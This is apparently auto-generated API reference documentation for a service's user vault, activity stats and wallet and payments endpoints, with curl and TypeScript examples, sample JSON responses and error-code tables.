### `GET /api/v1/users/auth/activity/stats`

Retrieve storage usage statistics for activity logs, including total size, record counts, oldest and newest records, and retention window.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/users/auth/activity/stats" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.activity.getStats();
```


```json
{
  "statusCode": 200,
  "message": "Activity stats retrieved successfully",
  "data": {
    "total_size_bytes": 1048576,
    "total_records": 5000,
    "oldest_record": "2025-10-18T20:00:00Z",
    "newest_record": "2025-11-18T20:00:00Z",
    "retention_days": 30
  }
}
```



## User vault

The user vault is a personal, per-realm key-value store. Values are opaque UTF-8 strings — the API does not validate or decrypt content, so client-side encryption is recommended for sensitive material.

### `GET /api/v1/vault/keys`

List all keys in the encrypted vault with metadata. Values are not included — use `GET /api/v1/vault/keys/{key}` to retrieve a specific value.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |



```bash
curl -X GET "https://api.hoody.com/api/v1/vault/keys" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.vault.listIterator();
```


```json
{
  "statusCode": 200,
  "message": "Vault keys retrieved successfully",
  "data": [
    {
      "key": "my-encrypted-notes",
      "realm_id": "507f1f77bcf86cd799439011",
      "metadata": {},
      "size_bytes": 2048,
      "created_at": "2025-11-14T18:00:00.000Z",
      "updated_at": "2025-11-14T18:15:00.000Z"
    },
    {
      "key": "config.json",
      "realm_id": "",
      "metadata": null,
      "size_bytes": 512,
      "created_at": "2025-11-14T17:30:00.000Z",
      "updated_at": "2025-11-14T17:30:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |



### `GET /api/v1/vault/keys/{key}`

Retrieve a specific key-value pair from the encrypted vault by key name.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |
| `key` | path | string | Yes | Vault key name (alphanumeric, dots, underscores, hyphens) |



```bash
curl -X GET "https://api.hoody.com/api/v1/vault/keys/my-encrypted-notes" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.vault.get({
  key: "my-encrypted-notes",
});
```


```json
{
  "statusCode": 200,
  "message": "Vault key retrieved successfully",
  "data": {
    "key": "my-encrypted-notes",
    "realm_id": "507f1f77bcf86cd799439011",
    "value": "{\"notes\": \"My important notes\", \"encrypted\": true}",
    "metadata": {},
    "size_bytes": 53,
    "created_at": "2025-11-14T18:00:00.000Z",
    "updated_at": "2025-11-14T18:15:00.000Z"
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Vault key not found."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VAULT_KEY_NOT_FOUND` | Vault Key Not Found | The specified key does not exist in your vault. | Verify the key name is correct. |



### `PATCH /api/v1/vault/keys/{key}`

Create or update a key-value pair in the personal encrypted vault. Values can be any UTF-8 string (JSON, encrypted data, plain text). The API does not validate content — encryption is highly recommended for sensitive data.


A `200` response indicates the key was updated; a `201` response indicates it was created. The vault enforces a global storage limit; exceeding it returns `413 VAULT_LIMIT_EXCEEDED`.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |
| `key` | path | string | Yes | Vault key name (alphanumeric, dots, underscores, hyphens) |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `value` | string | Yes | Value to store (any UTF-8 string: JSON, encrypted data, plain text, etc.) |
| `metadata` | object | No | Optional JSON metadata (max 256KB). Useful for file uploads (content-type, filename, upload date, etc.). Must be valid JSON or null. Counts toward total vault storage. |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/vault/keys/api-keys" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "value": "{\"api_key\": \"sk_test_123456\", \"encrypted\": true}",
    "metadata": {
      "filename": "api-keys.json",
      "content_type": "application/json",
      "created_by": "admin",
      "purpose": "Production API keys"
    }
  }'
```


```typescript
const { data, error } = await client.api.vault.set({
  key: "api-keys",
  data: {
    value: "{\"api_key\": \"sk_test_123456\", \"encrypted\": true}",
    metadata: {
      filename: "api-keys.json",
      content_type: "application/json",
      created_by: "admin",
      purpose: "Production API keys",
    },
  },
});
```


```json
{
  "statusCode": 200,
  "message": "Vault key updated successfully",
  "data": {
    "key": "my-encrypted-notes",
    "realm_id": "507f1f77bcf86cd799439011",
    "value": "{\"notes\": \"My important notes\", \"encrypted\": true}",
    "metadata": {},
    "size_bytes": 53,
    "created_at": "2025-11-14T18:00:00.000Z",
    "updated_at": "2025-11-14T18:15:00.000Z"
  }
}
```


```json
{
  "statusCode": 201,
  "message": "Vault key created successfully",
  "data": {
    "key": "my-encrypted-notes",
    "realm_id": "507f1f77bcf86cd799439011",
    "value": "{\"notes\": \"My important notes\", \"encrypted\": true}",
    "metadata": {},
    "size_bytes": 53,
    "created_at": "2025-11-14T18:00:00.000Z",
    "updated_at": "2025-11-14T18:00:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 413,
  "error": "Payload Too Large",
  "message": "Vault storage limit exceeded."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VAULT_LIMIT_EXCEEDED` | Vault Storage Limit Exceeded | The operation would exceed your vault storage limit. | Delete existing keys to free up space or contact support to increase your limit. |



### `GET /api/v1/vault/stats`

Retrieve statistics about vault usage. `total_keys` and `total_size_bytes` are scoped to the current realm. `limit_mb`, `remaining_mb`, and `used_percentage` reflect global vault usage across all realms.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |



```bash
curl -X GET "https://api.hoody.com/api/v1/vault/stats" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.vault.getStats();
```


```json
{
  "statusCode": 200,
  "message": "Vault statistics retrieved successfully",
  "data": {
    "total_keys": 5,
    "total_size_bytes": 10240,
    "total_size_mb": 0.009766,
    "limit_mb": 50,
    "used_percentage": 0.02,
    "remaining_mb": 49.990234
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |



### `DELETE /api/v1/vault/keys/{key}`

Permanently delete a key-value pair from the encrypted vault. This action cannot be undone.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |
| `key` | path | string | Yes | Vault key name (alphanumeric, dots, underscores, hyphens) |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/vault/keys/my-encrypted-notes" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.vault.delete({
  key: "my-encrypted-notes",
});
```


```json
{
  "statusCode": 200,
  "message": "Vault key deleted successfully"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Vault key not found."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VAULT_KEY_NOT_FOUND` | Vault Key Not Found | The specified key does not exist in your vault. | Verify the key name is correct. |



### `DELETE /api/v1/vault`

Permanently delete **all** keys and values from the encrypted vault. This action cannot be undone.


This operation is destructive and irreversible. All keys and values in the vault will be permanently removed.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `realm_id` | query | string | No | Target a specific realm (24-char hex). When omitted and not on a realm subdomain, defaults to global scope (`realm_id = ""`). Case-insensitive — uppercase is normalized to lowercase. |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/vault" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.vault.clear();
```


```json
{
  "statusCode": 200,
  "message": "Vault cleared successfully",
  "data": {
    "deleted_count": 5
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |

---

# Wallet & Payments

**Page:** api/wallet

[Download Raw Markdown](./api/wallet.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Wallet & Payments API lets you manage user balances, process payments, issue and download invoices, and maintain payment methods. Use these endpoints to credit general or AI balances, transfer funds between balance types, retrieve fee history, and inspect transaction records for the authenticated user.

## Balances

### `GET /api/v1/wallet/balances`

Get the user's aggregate balances, including general balance and AI credit limit, usage, and remaining.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Balances retrieved successfully",
  "data": {
    "general_balance": "125.50",
    "ai_limit": "50.00",
    "ai_usage": "23.45",
    "ai_remaining": "26.55"
  }
}
```



```ts
const balances = await client.api.wallet.getAggregateBalances();
```

### `GET /api/v1/wallet/balances/general`

Get the user's general balance only.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "General balance retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439100",
    "user_id": "507f1f77bcf86cd799439011",
    "general_balance": "125.50",
    "created_at": "2025-01-10T08:30:00.000Z",
    "updated_at": "2025-01-21T20:00:00.000Z"
  }
}
```



```ts
const balance = await client.api.wallet.getGeneralBalance();
```

### `GET /api/v1/wallet/balances/ai`

Get the user's AI balance — limit, usage, and remaining.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "AI balance retrieved successfully",
  "data": {
    "ai_limit": "50.00",
    "ai_usage": "23.45",
    "ai_remaining": "26.55"
  }
}
```



```ts
const aiBalance = await client.api.wallet.getAiBalance();
```

## Transfers

### `POST /api/v1/wallet/transfers`

One-way transfer from the general balance to the AI credit balance. The amount must be a strict string in USD with up to 2 decimals.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `amount` | string | Yes | USD amount as a string with up to 2 decimals, e.g. `"10.00"`. No exponent, no negatives. |

```json
{
  "amount": "25.00"
}
```



```json
{
  "statusCode": 200,
  "message": "Transfer completed and AI credit limit synced",
  "data": {
    "gross_transferred": "25.00",
    "net_ai_credit": "23.75",
    "fee": "1.25",
    "general_balance": "100.50",
    "ai_balance": "75.00",
    "key_created": false
  }
}
```



```ts
const result = await client.api.wallet.transferToAi({
  amount: "25.00"
});
```

## AI Fee History

### `GET /api/v1/wallet/ai-fee-history`

Paginated list of platform fees charged on AI credit transfers and admin credits.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `page` | query | number | No | Page number. Default: `1`. |
| `limit` | query | number | No | Items per page. Default: `20`. |
| `sort_by` | query | string | No | Field to sort by. Allowed: `"created_at"`, `"amount"`, `"transaction_id"`. Default: `"created_at"`. |
| `sort_order` | query | string | No | Sort direction. Allowed: `"asc"`, `"desc"`. Default: `"desc"`. |



```json
{
  "statusCode": 200,
  "message": "AI fee history retrieved successfully",
  "data": {
    "fees": [
      {
        "id": "507f1f77bcf86cd799439150",
        "transaction_id": "507f1f77bcf86cd799439140",
        "amount": "1.25",
        "created_at": "2025-01-21T20:00:00.000Z",
        "transaction": {
          "id": "507f1f77bcf86cd799439140",
          "reason": "Transfer to AI credits",
          "amount": "25.00"
        }
      }
    ],
    "pagination": {
      "total": 12,
      "page": 1,
      "limit": 20,
      "totalPages": 1
    }
  }
}
```



```ts
const fees = await client.api.wallet.listAiFeeHistoryIterator({
  page: 1,
  limit: 20
});
```

## Transactions

### `GET /api/v1/wallet/transactions`

List wallet transactions for the authenticated user.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `limit` | query | number | No | Items per page. Default: `20`. |
| `sort_by` | query | string | No | Field to sort by. Allowed: `"id"`, `"transaction_type"`, `"status"`, `"amount"`, `"created_at"`, `"updated_at"`. Default: `"created_at"`. |
| `sort_order` | query | string | No | Sort direction. Allowed: `"asc"`, `"desc"`. Default: `"desc"`. |



```json
{
  "statusCode": 200,
  "message": "Transactions retrieved successfully",
  "data": {
    "transactions": [],
    "pagination": {
      "total": 0,
      "page": 1,
      "limit": 20,
      "totalPages": 0
    }
  }
}
```



```ts
const transactions = await client.api.wallet.listTransactionsIterator({
  limit: 20
});
```

### `GET /api/v1/wallet/transactions/{id}`

Get a single transaction by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Transaction ID. |



```json
{
  "statusCode": 200,
  "message": "Transaction retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439140"
  }
}
```



```ts
const transaction = await client.api.wallet.getTransaction({
  id: "507f1f77bcf86cd799439140"
});
```

## Invoices

### `GET /api/v1/wallet/invoices/`

List all invoices for the authenticated user.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `limit` | query | number | No | Items per page. Default: `20`. |
| `sort_by` | query | string | No | Field to sort by. Default: `"created_at"`. |
| `sort_order` | query | string | No | Sort direction. Allowed: `"asc"`, `"desc"`. Default: `"desc"`. |



```json
{
  "statusCode": 200,
  "message": "Invoices retrieved successfully",
  "data": {
    "invoices": [
      {
        "id": "507f1f77bcf86cd799439120",
        "user_id": "507f1f77bcf86cd799439011",
        "transaction_id": "507f1f77bcf86cd799439110",
        "invoice_number": "INV-2025-000456",
        "status": "paid",
        "amount": 50,
        "currency": "USD",
        "issue_date": "2025-01-20T15:30:00.000Z",
        "due_date": "2025-02-20T15:30:00.000Z",
        "paid_date": "2025-01-20T15:30:00.000Z",
        "created_at": "2025-01-20T15:30:00.000Z",
        "updated_at": "2025-01-20T15:30:00.000Z",
        "transaction": {
          "id": "507f1f77bcf86cd799439110",
          "transaction_type": "payment",
          "status": "completed",
          "amount": 50,
          "currency": "USD",
          "created_at": "2025-01-20T15:30:00.000Z"
        }
      }
    ],
    "pagination": {
      "total": 23,
      "page": 1,
      "limit": 10,
      "totalPages": 3
    }
  }
}
```



```ts
const invoices = await client.api.wallet.listInvoicesIterator({
  limit: 20
});
```

### `GET /api/v1/wallet/invoices/{id}`

Get a specific invoice by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Invoice ID. |



```json
{
  "statusCode": 200,
  "message": "Invoice retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439120",
    "user_id": "507f1f77bcf86cd799439011",
    "transaction_id": "507f1f77bcf86cd799439110",
    "invoice_number": "INV-2025-000456",
    "status": "paid",
    "amount": 50,
    "currency": "USD",
    "billing_details": {
      "name": "John Doe",
      "address": "123 Main St"
    },
    "items": [
      {
        "description": "Account credit",
        "amount": 50
      }
    ],
    "issue_date": "2025-01-20T15:30:00.000Z",
    "due_date": "2025-02-20T15:30:00.000Z",
    "paid_date": "2025-01-20T15:30:00.000Z",
    "created_at": "2025-01-20T15:30:00.000Z",
    "updated_at": "2025-01-20T15:30:00.000Z",
    "transaction": {
      "id": "507f1f77bcf86cd799439110",
      "transaction_type": "payment",
      "status": "completed",
      "amount": 50,
      "currency": "USD",
      "created_at": "2025-01-20T15:30:00.000Z"
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Invoice not found"
}
```



```ts
const invoice = await client.api.wallet.getInvoice({
  id: "507f1f77bcf86cd799439120"
});
```

### `GET /api/v1/wallet/invoices/{id}/pdf`

Download an invoice as a PDF.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Invoice ID. |



Returns a binary PDF file with `Content-Type: application/pdf`.


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Invoice not found"
}
```



```ts
const pdf = await client.api.wallet.downloadInvoicePdf({
  id: "507f1f77bcf86cd799439120"
});
```

### `POST /api/v1/wallet/invoices/generate/{id}`

Generate an invoice for a specific transaction. Returns 200 with the existing invoice if one is already associated, or 201 when a new invoice is created.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Transaction ID. |



```json
{
  "statusCode": 200,
  "message": "Invoice already exists",
  "data": {
    "invoice_id": "507f1f77bcf86cd799439120",
    "invoice_number": "INV-2025-000456"
  }
}
```


```json
{
  "statusCode": 201,
  "message": "Invoice generated successfully",
  "data": {
    "invoice_id": "507f1f77bcf86cd799439121",
    "invoice_number": "INV-2025-000457"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Transaction not found"
}
```



```ts
const result = await client.api.wallet.generateInvoice({
  id: "507f1f77bcf86cd799439110"
});
```

## Payment Methods

### `GET /api/v1/wallet/payment-methods/`

List all payment methods for the authenticated user.

This endpoint takes no parameters.



```json
{
  "statusCode": 200,
  "message": "Payment methods retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439130",
      "user_id": "507f1f77bcf86cd799439011",
      "type": "credit_card",
      "name": "Visa ending in 4242",
      "status": "active",
      "details": {
        "last4": "4242",
        "brand": "visa",
        "exp_month": 12,
        "exp_year": 2026
      },
      "is_default": true,
      "created_at": "2025-01-15T10:00:00.000Z",
      "updated_at": "2025-01-15T10:00:00.000Z"
    }
  ]
}
```



```ts
const methods = await client.api.wallet.listPaymentMethodsIterator();
```

### `GET /api/v1/wallet/payment-methods/{id}`

Get a single payment method by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Payment method ID. |



```json
{
  "statusCode": 200,
  "message": "Payment method retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439130",
    "user_id": "507f1f77bcf86cd799439011",
    "type": "credit_card",
    "name": "Visa ending in 4242",
    "status": "active",
    "details": {
      "last4": "4242",
      "brand": "visa",
      "exp_month": 12,
      "exp_year": 2026
    },
    "is_default": true,
    "created_at": "2025-01-15T10:00:00.000Z",
    "updated_at": "2025-01-15T10:00:00.000Z"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment method not found"
}
```



```ts
const method = await client.api.wallet.getPaymentMethod({
  id: "507f1f77bcf86cd799439130"
});
```

### `POST /api/v1/wallet/payment-methods/`

Add a new payment method for the authenticated user.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `type` | string | Yes | Payment method type (e.g. `credit_card`). |
| `name` | string | Yes | Display name for the payment method. |
| `details` | object | No | Provider-specific details (e.g. last4, brand, expiry). |
| `is_default` | boolean | No | Whether to mark this method as the default. |

```json
{
  "type": "credit_card",
  "name": "Mastercard ending in 5555",
  "details": {
    "last4": "5555",
    "brand": "mastercard",
    "exp_month": 8,
    "exp_year": 2027
  },
  "is_default": false
}
```



```json
{
  "statusCode": 201,
  "message": "Payment method added successfully",
  "data": {
    "id": "507f1f77bcf86cd799439131",
    "user_id": "507f1f77bcf86cd799439011",
    "type": "credit_card",
    "name": "Mastercard ending in 5555",
    "status": "active",
    "details": {
      "last4": "5555",
      "brand": "mastercard",
      "exp_month": 8,
      "exp_year": 2027
    },
    "is_default": false,
    "created_at": "2025-01-21T20:30:00.000Z",
    "updated_at": "2025-01-21T20:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid payment method payload"
}
```



```ts
const method = await client.api.wallet.addPaymentMethod({
  type: "credit_card",
  name: "Mastercard ending in 5555",
  details: {
    last4: "5555",
    brand: "mastercard",
    exp_month: 8,
    exp_year: 2027
  },
  is_default: false
});
```

### `PATCH /api/v1/wallet/payment-methods/{id}`

Update an existing payment method. Any of `details`, `status`, or `is_default` may be sent.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Payment method ID. |

**Request Body**

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `details` | object | No | Updated provider-specific details. |
| `status` | string | No | New status. Allowed: `"active"`, `"inactive"`. |
| `is_default` | boolean | No | Whether this method should be the default. |

```json
{
  "status": "active",
  "is_default": true
}
```



```json
{
  "statusCode": 200,
  "message": "Payment method updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439131",
    "user_id": "507f1f77bcf86cd799439011",
    "type": "credit_card",
    "name": "Mastercard (primary)",
    "status": "active",
    "details": {
      "last4": "5555",
      "brand": "mastercard",
      "exp_month": 10,
      "exp_year": 2027
    },
    "is_default": true,
    "created_at": "2025-01-21T20:30:00.000Z",
    "updated_at": "2025-01-21T20:45:00.000Z"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment method not found"
}
```



```ts
const updated = await client.api.wallet.updatePaymentMethod({
  id: "507f1f77bcf86cd799439131",
  status: "active",
  is_default: true
});
```

### `PATCH /api/v1/wallet/payment-methods/{id}/default`

Mark an existing payment method as the default.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Payment method ID. |



```json
{
  "statusCode": 200,
  "message": "Default payment method set successfully",
  "data": {
    "id": "507f1f77bcf86cd799439131",
    "user_id": "507f1f77bcf86cd799439011",
    "type": "credit_card",
    "name": "Mastercard (primary)",
    "status": "active",
    "details": {
      "last4": "5555",
      "brand": "mastercard",
      "exp_month": 10,
      "exp_year": 2027
    },
    "is_default": true,
    "created_at": "2025-01-21T20:30:00.000Z",
    "updated_at": "2025-01-21T21:00:00.000Z"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment method not found"
}
```



```ts
const result = await client.api.wallet.setDefaultPaymentMethod({
  id: "507f1f77bcf86cd799439131"
});
```

### `DELETE /api/v1/wallet/payment-methods/{id}`

Delete an existing payment method.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Payment method ID. |



```json
{
  "statusCode": 200,
  "message": "Payment method deleted successfully"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment method not found"
}
```



```ts
await client.api.wallet.deletePaymentMethod({
  id: "507f1f77bcf86cd799439131"
});
```

## Payments

### `POST /api/v1/wallet/payments/`

Process a payment using a specified payment method. The amount is a strict string in USD with up to 2 decimals.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `payment_method_id` | string | Yes | ID of the payment method to charge. |
| `amount` | string | Yes | USD amount as a strict string with up to 2 decimals (e.g. `"10"`, `"10.00"`). No negatives, no exponent. |
| `credit_distribution` | array | No | Optional; currently informational. If provided, amounts must be strict dollar strings. |
| `reason` | string | No | Free-form reason or memo for the payment. |

```json
{
  "payment_method_id": "507f1f77bcf86cd799439130",
  "amount": "100.00",
  "reason": "Monthly subscription payment"
}
```



```json
{
  "statusCode": 200,
  "message": "Payment processed successfully",
  "data": {
    "transaction": {
      "id": "507f1f77bcf86cd799439140",
      "user_id": "507f1f77bcf86cd799439011",
      "payment_method_id": "507f1f77bcf86cd799439130",
      "transaction_type": "payment",
      "status": "completed",
      "amount": 100,
      "currency": "USD",
      "gateway_name": "stripe",
      "gateway_transaction_id": "ch_3ABC123xyz",
      "reason": "Monthly subscription payment",
      "created_at": "2025-01-21T20:00:00.000Z",
      "updated_at": "2025-01-21T20:00:00.000Z"
    },
    "invoice": {
      "id": "507f1f77bcf86cd799439141",
      "invoice_number": "INV-2025-000789"
    },
    "balance": {
      "id": "507f1f77bcf86cd799439100",
      "user_id": "507f1f77bcf86cd799439011",
      "balance": 225.5,
      "created_at": "2025-01-10T08:30:00.000Z",
      "updated_at": "2025-01-21T20:00:00.000Z"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid payment request"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment method not found"
}
```



```ts
const result = await client.api.wallet.processPayment({
  payment_method_id: "507f1f77bcf86cd799439130",
  amount: "100.00",
  reason: "Monthly subscription payment"
});
```

### `GET /api/v1/wallet/payments/{id}`

Get the status of a payment by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Payment ID. |



```json
{
  "statusCode": 200,
  "message": "Payment status retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439140",
    "user_id": "507f1f77bcf86cd799439011",
    "payment_method_id": "507f1f77bcf86cd799439130",
    "transaction_type": "payment",
    "status": "completed",
    "amount": 100,
    "currency": "USD",
    "gateway_name": "stripe",
    "gateway_transaction_id": "ch_3ABC123xyz",
    "reason": "Monthly subscription payment",
    "created_at": "2025-01-21T20:00:00.000Z",
    "updated_at": "2025-01-21T20:00:00.000Z",
    "details": [
      {
        "id": "507f1f77bcf86cd799439142",
        "transaction_id": "507f1f77bcf86cd799439140",
        "credit_type": "general",
        "amount": 100,
        "created_at": "2025-01-21T20:00:00.000Z"
      }
    ],
    "invoice": {
      "id": "507f1f77bcf86cd799439141",
      "invoice_number": "INV-2025-000789",
      "status": "paid",
      "issue_date": "2025-01-21T20:00:00.000Z",
      "paid_date": "2025-01-21T20:00:00.000Z"
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Payment not found"
}
```



```ts
const status = await client.api.wallet.getPaymentStatus({
  id: "507f1f77bcf86cd799439140"
});
```

---

# Watch:Health

**Page:** api/watch-health

